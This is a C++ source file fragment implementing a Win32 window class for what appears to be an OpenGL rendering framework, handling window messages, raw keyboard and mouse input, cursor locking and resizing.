(int)position.y, // y-position of the window
(int)size.x, // width of the window
(int)size.y, // height of the window
NULL, // No parent window!
NULL, // No Menus!
hInstance, // application handle
NULL); // No multiple windows!
if(!windowHandle) {
std::cout << "Window::Window(): Failed to create window!" << std::endl;
return;
}
if(!keyboard) {
keyboard = new Keyboard(windowHandle);
}
if(!mouse) {
mouse = new Mouse(windowHandle);
}
//if(!timer) {
timer = new GameTimer();
//}
elapsedMS = timer->GetMS();
Window::GetMouse()->SetAbsolutePositionBounds((unsigned int)size.x,(unsigned int)size.y);
POINT pt;
GetCursorPos(&pt);
ScreenToClient(window->windowHandle, &pt);
Window::GetMouse()->SetAbsolutePosition(pt.x,pt.y);
LockMouseToWindow(lockMouse);
ShowOSPointer(showMouse);
init = true;
}
Window::~Window(void)
{
delete keyboard;keyboard = NULL;
delete mouse; mouse = NULL;
FreeConsole(); //Destroy the console window
}
HWND Window::GetHandle() {
return windowHandle;
}
bool Window::HasInitialised() {
return init;
}
void Window::SetRenderer(OGLRenderer* r) {
renderer = r;
if(r) {
renderer->Resize((int)size.x,(int)size.y);
}
}
bool Window::UpdateWindow() {
MSG msg;
float diff = timer->GetMS()-elapsedMS;
Window::GetMouse()->UpdateDoubleClick(diff);
Window::GetKeyboard()->UpdateHolds();
Window::GetMouse()->UpdateHolds();
while(PeekMessage(&msg,windowHandle,0,0,PM_REMOVE)) {
CheckMessages(msg);
}
elapsedMS = timer->GetMS();
return !forceQuit;
}
void Window::CheckMessages(MSG &msg) {
switch (msg.message) { // Is There A Message Waiting?
case (WM_QUIT):
case (WM_CLOSE): { // Have We Received A Quit Message?
window->ShowOSPointer(true);
window->LockMouseToWindow(false);
forceQuit = true;
}break;
case (WM_INPUT): {
UINT dwSize;
GetRawInputData((HRAWINPUT)msg.lParam, RID_INPUT, NULL, &dwSize,sizeof(RAWINPUTHEADER));
BYTE* lpb = new BYTE[dwSize];
GetRawInputData((HRAWINPUT)msg.lParam, RID_INPUT, lpb, &dwSize,sizeof(RAWINPUTHEADER));
RAWINPUT* raw = (RAWINPUT*)lpb;
if (keyboard && raw->header.dwType == RIM_TYPEKEYBOARD) {
Window::GetKeyboard()->Update(raw);
}
if (mouse && raw->header.dwType == RIM_TYPEMOUSE) {
Window::GetMouse()->Update(raw);
}
delete lpb;
}break;
default: { // If Not, Deal With Window Messages
TranslateMessage(&msg); // Translate The Message
DispatchMessage(&msg); // Dispatch The Message
}
}
}
LRESULT CALLBACK Window::WindowProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) {
switch(message) {
case(WM_DESTROY): {
window->ShowOSPointer(true);
window->LockMouseToWindow(false);
PostQuitMessage(0);
window->forceQuit = true;
} break;
case (WM_ACTIVATE): {
//int fMinimized = (BOOL) HIWORD(wParam);
if(LOWORD(wParam) == WA_INACTIVE) {
ReleaseCapture();
ClipCursor(NULL);
mouse->Sleep();
keyboard->Sleep();
}
else{
if(window->init) {
mouse->Wake();
keyboard->Wake();
POINT pt;
GetCursorPos(&pt);
ScreenToClient(window->windowHandle, &pt);
mouse->SetAbsolutePosition(pt.x,pt.y);
if(window->lockMouse) {
window->LockMouseToWindow(true);
}
}
}
return 0;
}break;
case (WM_LBUTTONDOWN): {
if(window->lockMouse) {
window->LockMouseToWindow(true);
}
}break;
case (WM_MOUSEMOVE): {
TRACKMOUSEEVENT tme;
tme.cbSize = sizeof(TRACKMOUSEEVENT);
tme.dwFlags = TME_LEAVE;
tme.hwndTrack = window->windowHandle;
TrackMouseEvent(&tme);
if(window->mouseLeftWindow) {
window->mouseLeftWindow = false;
mouse->Wake();
keyboard->Wake();
POINT pt;
GetCursorPos(&pt);
ScreenToClient(window->windowHandle, &pt);
mouse->SetAbsolutePosition(pt.x,pt.y);
}
}break;
case(WM_MOUSELEAVE):{
window->mouseLeftWindow = true;
mouse->Sleep();
keyboard->Sleep();
}break;
case(WM_SIZE): {
window->size.x = (float)LOWORD(lParam);
window->size.y = (float)HIWORD(lParam);
if(window->renderer) {
window->renderer->Resize(LOWORD(lParam),HIWORD(lParam));
}
if(window->init) {
mouse->SetAbsolutePositionBounds(LOWORD(lParam),HIWORD(lParam));
POINT pt;
GetCursorPos(&pt);
ScreenToClient(window->windowHandle, &pt);
mouse->SetAbsolutePosition(pt.x,pt.y);
window->LockMouseToWindow(window->lockMouse);
}
}break;
}
return DefWindowProc (hWnd, message, wParam, lParam);
}
void Window::LockMouseToWindow(bool lock) {
lockMouse = lock;
if(lock) {
RECT windowRect;
GetWindowRect (window->windowHandle, &windowRect);
SetCapture(window->windowHandle);
ClipCursor(&windowRect);
POINT pt;
GetCursorPos(&pt);
ScreenToClient(window->windowHandle, &pt);
Window::GetMouse()->SetAbsolutePosition(pt.x,pt.y);
}
else{
ReleaseCapture();
ClipCursor(NULL);
}
}
void Window::ShowOSPointer(bool show) {
if(show == showMouse) {
return; //ShowCursor does weird things, due to being a counter internally...
}
showMouse = show;
if(show) {
ShowCursor(1);
}
else{
ShowCursor(0);
}
}
void Window::SetWindowTitle(std::string t)
{
if (windowHandle)
{
SetWindowText(windowHandle,t.c_str());
}
}
|
[
"905326502@qq.com"
] |
905326502@qq.com
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.